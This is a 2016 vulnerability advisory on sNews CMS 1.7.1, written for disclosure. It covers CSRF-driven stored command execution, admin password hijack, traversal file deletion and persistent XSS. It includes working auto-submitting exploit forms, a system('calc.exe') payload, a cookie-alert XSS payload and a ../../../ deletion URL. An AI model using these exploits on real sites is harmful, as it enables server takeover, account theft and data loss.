sNews CMS 1.7.1 CSRF / Cross Site Scripting / Code Execution

2016-06-21T00:00:00
ID PACKETSTORM:137547
Type packetstorm
Reporter hyp3rlinx
Modified 2016-06-21T00:00:00

Description

                                        
                                            `[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/SNEWS-RCE-CSRF-XSS.txt  
  
[+] ISR: APPARITIONSEC  
  
  
  
Vendor:  
============  
snewscms.com  
  
  
  
Product:  
================  
sNews CMS v1.7.1  
  
  
  
Vulnerability Type:  
===================================  
Persistent Remote Command Execution  
Cross Site Request Forgeries (CSRF)  
Persistent XSS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
======================  
  
If an authenticated user happens to stumble upon an attackers webpage or  
click an infected link they have a chance to get the following prizes,  
  
1) Persistent Remote Code Execution  
2) Cross Site Request Forgeries  
3) Persistent XSS  
  
  
sNews has feature that allows PHP functions to be inserted for articles by  
authenticated users under "Edit Article". However, there is no  
CSRF token/checks to prevent unauthorized HTTP requests to be made on  
behalf of that user. Furthermore, these commands will get stored in MySQL  
database in the 'articles' table. So each time that sNews webpage is  
visited it will execute.  
  
e.g.  
  
CSRF / RCE Under "Edit Article" Admin area.  
  
[func]system:|:"calc.exe"[/func]  
  
On line no 3270 of "snews.php" there is no input filtering allowing  
arbitrary system calls.  
  
$returned = call_user_func_array($func[0], explode(',',$func[1]));  
  
////////////////////////////////////////////////////////////////////////////////////////////  
  
  
CSRF / Hijack SNews CMS accounts, the username however must be known in  
advance, if known then that lucky user wins a changed password!.  
  
  
////////////////////////////////////////////////////////////////////////////////////////////  
  
  
CSRF / arbitrary file deletion, we can delete arbitrary files in the  
webroot which we can use to bypass access controls like ".htaccess" file.  
allowing attackers to read/access files from those affected directories.  
  
On line 3080 "snews.php" direct usage of untrusted user input into the PHP  
"unlink" function which deletes any files the attacker wants.  
  
if (isset($_GET['task']) == 'delete') {  
$file_to_delete = $_GET['folder'].'/'.$_GET['file'];  
@unlink($file_to_delete);  
echo notification(0,'','snews_files');  
  
  
///////////////////////////////////////////////////////////////////////////////////////////  
  
  
Persistent XSS entry point also exists in same "Edit Article" Admin area,  
but why bother when we have RCE option.  
  
  
Exploit code(s):  
===============  
  
Remote Command Execution pop "calc.exe" POC.  
  
<form id="CSRF_RCE_PRIZE" method="post" action="  
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">  
<input type="hidden" name="title" value="Remote Command Execution" />  
<input type="hidden" name="seftitle" value="remote-command-execution" />  
<input type="hidden" name="text" value='[func]system:|:"calc.exe"[/func]' />  
<input type="hidden" name="define_category" value="1" />  
<input type="hidden" name="show_on_home" value="on" />  
<input type="hidden" name="publish_article" value="on" />  
<input type="hidden" name="position" value="1" />  
<input type="hidden" name="description_meta" value="" />  
<input type="hidden" name="keywords_meta" value="" />  
<input type="hidden" name="description_meta" value="on" />  
<input type="hidden" name="display_title" value="on" />  
<input type="hidden" name="display_info" value="on" />  
<input type="hidden" name="fposting_day" value="3" />  
<input type="hidden" name="fposting_month" value="6" />  
<input type="hidden" name="fposting_year" value="2016" />  
<input type="hidden" name="fposting_hour" value="6" />  
<input type="hidden" name="fposting_minute" value="16" />  
<input type="hidden" name="task" value="admin_article" />  
<input type="hidden" name="edit_article" value="save" />  
<input type="hidden" name="article_category" value="1" />  
<input type="hidden" name="id" value="2" />  
<script>document.getElementById('CSRF_RCE_PRIZE').submit()</script>  
</form>  
  
  
After we make HTTP request for the booby trapped article and KABOOM.  
  
http://localhost/snews1.7.1/uncategorized/remote-command-execution/  
  
  
CSRF - Account Hijack  
=====================  
  
<form id="CSRF-CHG-PASSWD-PRIZE" method="post" action="  
http://localhost/snews1.7.1/?action=process&task=changeup">  
<input type="hidden" name="uname" value="admin" />  
<input type="hidden" name="pass1" value="PWN3D123" />  
<input type="hidden" name="pass2" value='PWN3D123' />  
<input type="hidden" name="task" value="changeup" />  
<input type="hidden" name="submit_pass" value="Save" />  
<script>document.getElementById('CSRF-CHG-PASSWD-PRIZE').submit()</script>  
</form>  
  
  
CSRF - Arbitrary File Deletion  
===============================  
  
1) Create file in htdocs / web root as a test e.g. "DELETEME.php"  
  
2) Visit following URL as authenticated user.  
  
http://localhost/snews1.7.1/?action=snews_files&task=delete&folder=Patches  
Log&file=../../../DELETEME.php  
  
3) Files gone!  
  
  
  
Persistent XSS  
===============  
  
<form id="XSS" method="post" action="  
http://localhost/snews1.7.1/?action=process&task=admin_article&id=2">  
<input type="hidden" name="title" value="XSS" />  
<input type="hidden" name="seftitle" value="XSS" />  
<input type="hidden" name="text"  
value="[include]<script>alert(document.cookie)</script>[/include]" />  
<input type="hidden" name="define_category" value="1" />  
<input type="hidden" name="show_on_home" value="on" />  
<input type="hidden" name="publish_article" value="on" />  
<input type="hidden" name="position" value="1" />  
<input type="hidden" name="description_meta" value="" />  
<input type="hidden" name="keywords_meta" value="" />  
<input type="hidden" name="description_meta" value="on" />  
<input type="hidden" name="display_title" value="on" />  
<input type="hidden" name="display_info" value="on" />  
<input type="hidden" name="fposting_day" value="3" />  
<input type="hidden" name="fposting_month" value="6" />  
<input type="hidden" name="fposting_year" value="2016" />  
<input type="hidden" name="fposting_hour" value="6" />  
<input type="hidden" name="fposting_minute" value="16" />  
<input type="hidden" name="task" value="admin_article" />  
<input type="hidden" name="edit_article" value="save" />  
<input type="hidden" name="article_category" value="1" />  
<input type="hidden" name="id" value="2" />  
<script>document.getElementById('XSS').submit()</script>  
</form>  
  
  
  
  
Disclosure Timeline:  
=================================  
Vendor Notification: No Replies  
June 19, 2016 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
Critical  
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N  
  
  
  
Description:  
================================================  
Request Method(s): [+] GET / POST  
  
  
Vulnerable Product: [+] snews v1.7.1  
===========================================  
  
[+] Disclaimer  
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Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
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